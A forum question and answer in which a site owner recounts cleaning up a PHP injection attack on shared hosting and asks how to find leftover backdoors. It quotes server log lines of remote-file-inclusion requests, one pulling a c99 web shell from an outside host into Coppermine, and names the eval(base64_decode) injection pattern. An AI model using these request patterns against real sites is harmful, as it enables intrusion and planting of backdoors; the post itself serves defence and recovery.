PHP Injection Attack - how to best clean up the mess?

Question

Once in a while my shared hosting environment gets compromised because, well, I failed to keep the portfolio of my installed apps patched up. Last week, it was because of an old and unused installation of a PHP application called Help Center Live. The result was that every single PHP file on the server (and I have several Wordpresses, Joomlas, SilverStripe installations) had code added that pulled cloaked links from other sites and included them in my page. Other people report their sites banned from Google after this kind of attack - luckily I seem to have caught it early enough. I only noticed it when browswing to one of the sites from my phone - the page had the links included on the Mobile browser.

I found many attack attempts like this one in the log:

62.149.18.193 - - [06/Feb/2009:14:52:45 +0000] "GET /support/module.php?module= HelpCenter//include/main.php?config [search_disp]=true&include_dir= http://www.portlandonnuri.com/ 2008_web//technote7/data/photo/ id2.txt??? HTTP/1.1" 200 26 "-" "libwww-perl/5.814"

I immediately removed this application, and wrote a script that removed the offending PHP code from every source file. I also found that the script had created HTML files containing links for other infected sites to include. I removed them as well. Now I am concerned that the attacker may have left something else that I missed - a PHP file somewhere that will give him permanent access. The file dates were all modified in the attack, and I could not find any other files that were changed during the time in question. Is there something obvious that I have missed, in order to make sure there are no backdoors on my server?

Edit: I also search for text files containing attack code, like the one shown in the log file snippet above. I did not find any.

Another edit: If you happen to come across this post because you are finding yourself in the same situation, maybe this will help you. I used this to back up all my PHP source files before manipulating them:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;

and this to undo the changes that the attacker had made:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;

Not rocket science, but not trivial either for the occasional Linux/Unix user like myself :-).

Another edit: I cannot audit every line of code on the server, but I can search for suspicious data. I searched for all occurences of "eval" and "base64" and did not find anything that did not look legit. I then ran a grep for ".ru" (since the perpetrators seems to come from there) and, lo and behold, found something called a c99 shell, which I swiftly removed.

Final edit: I found out how the c99 shell was uploaded - through a hole in the Coppermine Photo Gallery.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"

The IP address, btw, is a Godaddy hosted IP.

Answer 1

1.) Keep a repository of the files you are using for these apps (e.g. SVN or similar)

2.) Keep up-to-date as best as possible with each apps security updates (most have an RSS feed)

3.) Backup your DB's regularly

If/when the !@#$ hits the fan you can start over with a fresh copy of the DB and redeploy the code from SVN.